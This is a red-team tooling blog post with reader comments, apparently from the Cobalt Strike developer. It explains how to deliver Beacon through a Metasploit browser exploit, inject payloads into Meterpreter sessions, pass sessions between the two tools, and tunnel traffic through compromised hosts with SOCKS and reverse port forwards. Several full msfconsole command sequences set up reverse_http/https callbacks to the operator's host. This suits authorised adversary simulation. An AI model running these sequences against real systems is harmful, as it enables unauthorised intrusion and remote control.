h1

Interoperability with the Metasploit Framework

January 5, 2016

Cobalt Strike 3.0 is a stand-alone platform for Adversary Simulations and Red Team Operations. It doesn’t depend on the Metasploit Framework. That said, the Metasploit Framework is a wealth of capability and there are places where it adds value. I didn’t forget this in my design of Cobalt Strike 3.0. In this blog post, I’ll show you how to use Cobalt Strike and the Metasploit Framework together. Even though they are two separate entities, there is a lot of synergy between these platforms.

Deliver Beacon with a Metasploit Framework Exploit

You may use a Metasploit Framework exploit to deliver Cobalt Strike’s Beacon. The Beacon payload is compatible with the Metasploit Framework’s staging protocol. To deliver a Beacon with a Metasploit Framework exploit, type:

use exploit/multi/browser/adobe_flash_hacking_team_uaf
set PAYLOAD windows/meterpreter/reverse_http
set LHOST [Cobalt Strike's IP or hostname]
set LPORT 80
set DisablePayloadHandler True
set PrependMigrate True
exploit -j

Here’s an explanation of these commands:

1. Use the exploit module you want to deliver Beacon with.

2. Set PAYLOAD to windows/meterpreter/reverse_http for an HTTP Beacon. Set PAYLOAD to windows/meterpreter/reverse_https for an HTTPS Beacon. You’re not really delivering Meterpreter here. You’re telling the Metasploit Framework to generate an HTTP (or HTTPS) stager to download a payload from the specified LHOST/LPORT.

3. Set LHOST and LPORT to point to your Cobalt Strike listener. Cobalt Strike will know what to do when it receives a request from a Metasploit Framework stager.

4. Set DisablePayloadHandler to True. This tells the Metasploit Framework that it does not need to create a handler within the Metasploit Framework to service a payload connection.

5. Set PrependMigrate to True. This option tells the Metasploit Framework to modify its stager to migrate to another process, immediately after exploitation. This option is very important for client-side attacks. It allows your session to survive if the exploited application crashes or closes.

Tunnel Metasploit Framework Modules through Beacon

Cobalt Strike’s Beacon payload has had SOCKS proxy pivoting since 2013. This form of pivoting makes it easy to tunnel many tools through Beacon. To tunnel the Metasploit Framework through Beacon:

1. Interact with a Beacon and type socks 1234 to create a SOCKS proxy server on port 1234 of your Cobalt Strike team server system.

2. Type sleep 0 in the Beacon console to request that the Beacon become interactive. Tunneling traffic with minimal latency requires that Beacon regularly connects to your controller to exchange read, write, and connect information.

3. Go to View -> Proxy Pivots in Cobalt Strike. This will open a tab that presents all SOCKS proxy servers on your Cobalt Strike team server.

4. Highlight the desired SOCKS pivot and press Tunnel. This will open a dialog that contains a one-liner to paste into the Metasploit Framework.

5. Go to msfconsole and paste in that one-liner. This one-liner will globally set the Metasploit Framework’s Proxies option. This option lets you specify a SOCKS proxy server to send the Metasploit Framework module through.

Use the Metasploit Framework. The exploits and modules you run will tunnel through your Beacon.

If you want to stop tunneling Metasploit through your Beacon, type unsetg Proxies in the Metasploit Framework console.

Spawn Meterpreter from Beacon

Cobalt Strike’s session passing features target listeners. A listener is a name tied to a payload handler and its configuration information. A foreign listener is an alias for a payload handler located elsewhere. Cobalt Strike can pass sessions to the Metasploit Framework with foreign listeners. To create a foreign listener for Meterpreter:

1. Go to Cobalt Strike -> Listeners

2. Press Add

3. Set the Payload type to windows/foreign/reverse_https for HTTPS Meterpreter. Cobalt Strike also has reverse_http and reverse_tcp foreign listeners too.

4. Set The Host and Port of the listener to the LHOST and LPORT of your Meterpreter handler.

5. Press Save

You now have a Cobalt Strike listener that refers to your Metasploit Framework payload handler. You can use this listener with any of Cobalt Strike’s features. To pass a session from Beacon, go to [beacon] -> Spawn and choose your foreign listener.

Spawn Beacon from Meterpreter

To spawn a Beacon from a Meterpreter session use the payload_inject exploit to deliver your Beacon. Here are the steps to do this:

1. Use the exploit/windows/local/payload_inject module

2. Set PAYLOAD to windows/meterpreter/reverse_http for an HTTP Beacon. Set PAYLOAD to windows/meterpreter/reverse_https for an HTTPS Beacon.

3. Set LHOST and LPORT to point to your Cobalt Strike listener.

4. Set DisablePayloadHandler to True.

5. Set SESSION to the session ID of your Meterpreter session

And, here’s what this looks like in the Metasploit Framework console:

use exploit/windows/local/payload_inject
set PAYLOAD windows/meterpreter/reverse_http
set LHOST [IP address of compromised system]
set LPORT 80
set SESSION 1
set DisablePayloadHandler True
exploit –j

Tunnel Meterpreter through Beacon

Use Beacon’s rportfwd command to turn a system, compromised with Beacon, into a redirector for your Meterpreter sessions. The rportfwd command creates a server socket on a compromised system. Any connections to this server socket result in a new connection to a forward host/port. Traffic between the forward host/port and the connection to the compromised system is tunneled through Beacon.

To create a Meterpreter handler that rides through a Beacon reverse port forward:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST [IP address of compromised system]
set LPORT 8443
set ExitOnSession False
exploit –j

These commands create a Meterpreter HTTPS handler, bound to port 8443, that stages and connects to the IP address of our pivot host.

To create a reverse port forward in Cobalt Strike:

1. Interact with a Beacon on the compromised system you want to pivot through.

2. Use sleep 0 to make the Beacon check-in multiple times each second

3. Type rportfwd 8443 [IP of Metasploit system] 8443 to create a reverse port forward.

You now have a server socket, bound on the compromised system, that forwards connections to your Meterpreter handler. If you want to use that Meterpreter handler from Cobalt Strike, create a foreign listener.

Optionally, use Cobalt Strike’s Pivot Listeners feature to create a reverse port forward and a foreign listener in one step.

Parts 3, 4, and 7 of Advanced Threat Tactics cover the concepts in this blog post.

7 comments

  1. I think it is very important for an operator to know the channels used for staging vs channels used later when beaconing, for various listeners Cobalt Strike provides. I find this information scattered throughout several posts on this blog but not at one post (maybe as a reference).


    • I agree. This is a topic that trips some people up because it’s a largely invisible process. I cover a lot of this in part 2 of Advanced Threat Tactics – Infrastructure. Chapters 4 and 5 of the Cobalt Strike manual touch on this topic too.


  2. Why does Cobalt Strike not natively support prependMigrate? Why must MSF be used to enable that functionality for beacon?


    • PrependMigrate is a stager feature to spawn a process and run the payload stage in that new process. This is a way to protect your access if the initial application you land in might close or exit. This is a valuable feature for MSF, as its memory corruption exploits will usually run the payload stager (and the downloaded stage) in the exploited process. The risk of the application being closed (in the case of client-side application) or crashing are high.

      PrependMigrate does not add value to Cobalt Strike’s workflows though. Cobalt Strike’s built-in user-driven attacks migrate the payload stager to another process in most cases. In the cases where this doesn’t happen, it’s not really necessary (e.g., an attack drops an EXE to disk and runs it in the background–not the same risk of crashing or the user interacting with this EXE). Cobalt Strike’s other workflows for spawning payloads (e.g., spawn) already create another process to inject a payload into. In these cases, generating a stager with the PrependMigrate stub would essentially migrate you twice, which is probably not what you want.

      Further, if CS supported PrependMigrate as part of its listener config, it’d make things like the inject command a pain. You’d inject Beacon into a process where you think you want to go and find your access migrated to a child process kicked off by that process.

      As you can see, PrependMigrate simply doesn’t make sense in CS itself. It does make sense in MSF and because CS is compatible with MSF’s staging process, you can use a stager with the PrependMigrate stub to deliver Beacon.


      • Thanks

        It sounds like I cannot spawn instantaneously without specifying some parameters that I may not know (like arch, and full path). Correct? How would you avoid getting your session squashed in CS in case the process dies quickly?

        It seems like the preprendMigrate functionality works like the set AutoRunScript post/windows/manage/migrate functionality. Is there a way to emulate that in CS? I want to avoid the user driven element of creating a new process due to the risk of the initial process dying quickly.


      • “It sounds like I cannot spawn instantaneously without specifying some parameters that I may not know (like arch, and full path). Correct? ”

        Cobalt Strike does instant spawning on its own (e.g., a different implementation from PrependMigrate but the same result) for its user driven attacks and session passing features. This is what Cobalt Strike does to avoid the risk of the initial process dieing quickly.

        “”It seems like the preprendMigrate functionality works like the set AutoRunScript post/windows/manage/migrate functionality.””

        PrependMigrate does not work like AutoRunScript. AutoRunScript is an action Metasploit takes when it sees a Meterpreter session come in. PrependMigrate is code prepended to the payload stager that ships with the attack files.

        “”Is there a way to emulate that in CS? I want to avoid the user driven element of creating a new process due to the risk of the initial process dying quickly.””

        If you want something like AutoRunScript, take a look at the beacon_initial event in Aggressor Script. This is a script hook to respond to new Beacon sessions.

        If you want the behavior of PrependMigrate, you get this for free with Cobalt Strike’s macro attack and its Java applet attacks.

        If you want shellcode with PrependMigrate behavior because you’re using an *external* attack capability to deliver Beacon, then use Metasploit to generate it.

        Cobalt Strike’s workflows and built-in attacks do not require the PrependMigrate capability. Where it’s necessary to migrate out of an initial process, Cobalt Strike’s attacks handle this. For these reasons, Cobalt Strike does not have or need the ability to prepend a migrate feature to its stager shellcode.


  3. Thanks for clarifying.



Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s